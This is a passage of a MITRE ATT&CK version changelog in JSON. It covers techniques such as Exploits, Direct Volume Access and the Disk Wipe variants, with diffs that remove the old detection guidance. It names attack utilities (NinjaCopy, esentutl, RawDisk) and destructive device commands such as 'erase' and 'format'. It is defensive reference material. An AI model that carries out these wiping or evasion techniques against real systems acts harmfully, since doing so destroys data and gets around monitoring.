}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Malware Repository: Malware Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.738000+00:00\", \"old_value\": \"2025-04-15 22:05:55.035000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0004: Malware Repository (Malware Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0833: Detection of Code Signing Certificates"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--1cec9319-743b-4840-bb65-431547bce82a",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 01:42:24.974000+00:00",
"modified": "2025-10-24 17:48:29.137000+00:00",
"name": "Digital Certificates",
"description": "Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\n\nAdversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).\n\nAfter creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1587/003",
"external_id": "T1587.003"
},
{
"source_name": "Splunk Kovar Certificates 2017",
"description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
"url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:29.137000+00:00\", \"old_value\": \"2025-04-15 22:18:36.653000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\\n\\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\\n-\\n-Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0035: Internet Scan (Response Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0844: Detection of Digital Certificates"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 01:48:15.511000+00:00",
"modified": "2025-10-24 17:49:17.967000+00:00",
"name": "Exploits",
"description": "Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)\n\nAs with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1587/004",
"external_id": "T1587.004"
},
{
"source_name": "Irongeek Sims BSides 2017",
"description": "Stephen Sims. (2017, April 30). Microsoft Patch Analysis for Exploitation. Retrieved October 16, 2020.",
"url": "https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims"
},
{
"source_name": "NYTStuxnet",
"description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.",
"url": "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:17.967000+00:00\", \"old_value\": \"2025-04-15 22:33:51.026000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0894: Detection of Exploits"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:20.934000+00:00",
"modified": "2025-10-24 17:48:23.015000+00:00",
"name": "Direct Volume Access",
"description": "Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.(Citation: Github PowerSploit Ninjacopy) Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and [esentutl](https://attack.mitre.org/software/S0404)) to create shadow copies or backups of data from system volumes.(Citation: LOLBAS Esentutl)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1006",
"external_id": "T1006"
},
{
"source_name": "Github PowerSploit Ninjacopy",
"description": "Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.",
"url": "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1"
},
{
"source_name": "Hakobyan 2009",
"description": "Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.",
"url": "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin"
},
{
"source_name": "LOLBAS Esentutl",
"description": "LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.",
"url": "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Tom Simpson, CrowdStrike Falcon OverWatch"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Network Devices",
"Windows"
],
"x_mitre_version": "2.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Drive: Drive Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:23.015000+00:00\", \"old_value\": \"2025-04-15 19:58:05.272000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\\n\\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.\"}}}",
"previous_version": "2.3",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1040: Behavior Prevention on Endpoint"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0016: Drive (Drive Access)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0426: Detection of Direct Volume Access for File System Evasion"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-20 22:02:20.372000+00:00",
"modified": "2025-10-24 17:48:27.697000+00:00",
"name": "Disk Wipe",
"description": "Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)\n\nOn network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`.(Citation: erase_cmd_cisco)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1561",
"external_id": "T1561"
},
{
"source_name": "erase_cmd_cisco",
"description": "Cisco. (2022, August 16). erase - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/D_through_E.html#wp3557227463"
},
{
"source_name": "Novetta Blockbuster Destructive Malware",
"description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
},
{
"source_name": "Microsoft Sysmon v6 May 2017",
"description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
"url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Austin Clark, @c2defense"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Availability"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Network Devices"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Driver: Driver Load\", \"Drive: Drive Access\", \"Command: Command Execution\", \"Drive: Drive Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:27.697000+00:00\", \"old_value\": \"2025-04-15 19:58:09.974000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Look for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\\\\\\\\\\\\\.\\\\\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1053: Data Backup"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0016: Drive (Drive Access)",
"DS0016: Drive (Drive Modification)",
"DS0017: Command (Command Execution)",
"DS0027: Driver (Driver Load)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0137: Detection Strategy for Disk Wipe via Direct Disk Access and Destructive Commands"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-20 22:06:41.739000+00:00",
"modified": "2025-10-24 17:49:38.983000+00:00",
"name": "Disk Content Wipe",
"description": "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have also been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1561/001",
"external_id": "T1561.001"
},
{
"source_name": "DOJ Lazarus Sony 2018",
"description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
"url": "https://www.justice.gov/opa/press-release/file/1092091/download"
},
{
"source_name": "Novetta Blockbuster Destructive Malware",
"description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
},
{
"source_name": "Novetta Blockbuster",
"description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
"url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
},
{
"source_name": "Microsoft Sysmon v6 May 2017",
"description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
"url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Availability"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Network Devices",
"Windows",
"macOS"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Drive: Drive Modification\", \"Drive: Drive Access\", \"Driver: Driver Load\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:38.983000+00:00\", \"old_value\": \"2025-04-15 19:59:23.834000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\\\\\\\\\\\\\.\\\\\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\\n\\nFor network infrastructure devices, collect AAA logging to monitor for `erase` commands that delete critical configuration files.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\\\\\\\\\\\\\.\\\\\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\\n-\\n-For network infrastructure devices, collect AAA logging to monitor for `erase` commands that delete critical configuration files.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1053: Data Backup"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0016: Drive (Drive Access)",
"DS0016: Drive (Drive Modification)",
"DS0017: Command (Command Execution)",
"DS0027: Driver (Driver Load)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0316: Detection Strategy for Disk Content Wipe via Direct Access and Overwrite"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-20 22:10:20.484000+00:00",
"modified": "2025-10-24 17:48:22.482000+00:00",
"name": "Disk Structure Wipe",
"description": "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nOn a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1561/002",
"external_id": "T1561.002"
},
{
"source_name": "format_cmd_cisco",
"description": "Cisco. (2022, August 16). format - Cisco IOS Configuration Fundamentals Command Reference. Retrieved July 13, 2022.",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/F_through_K.html#wp2829794668"
},
{
"source_name": "Unit 42 Shamoon3 2018",
"description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
"url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"
},
{
"source_name": "Palo Alto Shamoon Nov 2016",
"description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
"url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
},
{
"source_name": "FireEye Shamoon Nov 2016",
"description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20210126065851/https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"
},
{
"source_name": "Kaspersky StoneDrill 2017",
"description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.",
"url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"
},
{
"source_name": "Microsoft Sysmon v6 May 2017",
"description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
"url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
},
{
"source_name": "Symantec Shamoon 2012",
"description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.",
"url": "https://www.symantec.com/connect/blogs/shamoon-attacks"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Austin Clark, @c2defense"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Availability"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Network Devices"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Driver: Driver Load\", \"Drive: Drive Modification\", \"Drive: Drive Access\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:22.482000+00:00\", \"old_value\": \"2025-04-15 19:58:04.838000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the \\\\\\\\\\\\\\\\.\\\\\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\\n\\nFor network infrastructure devices, collect AAA logging to monitor for `format` commands being run to erase the file structure and prevent recovery of the device.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the \\\\\\\\\\\\\\\\.\\\\\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\\n-\\n-For network infrastructure devices, collect AAA logging to monitor for `format` commands being run to erase the file structure and prevent recovery of the device.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1053: Data Backup"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0016: Drive (Drive Access)",
"DS0016: Drive (Drive Modification)",
"DS0017: Command (Command Execution)",
"DS0027: Driver (Driver Load)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0297: Detection Strategy for Disk Structure Wipe via Boot/Partition Overwrite"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-02-14 16:15:05.974000+00:00",
"modified": "2025-10-24 17:48:58.061000+00:00",
"name": "Domain Trust Discovery",
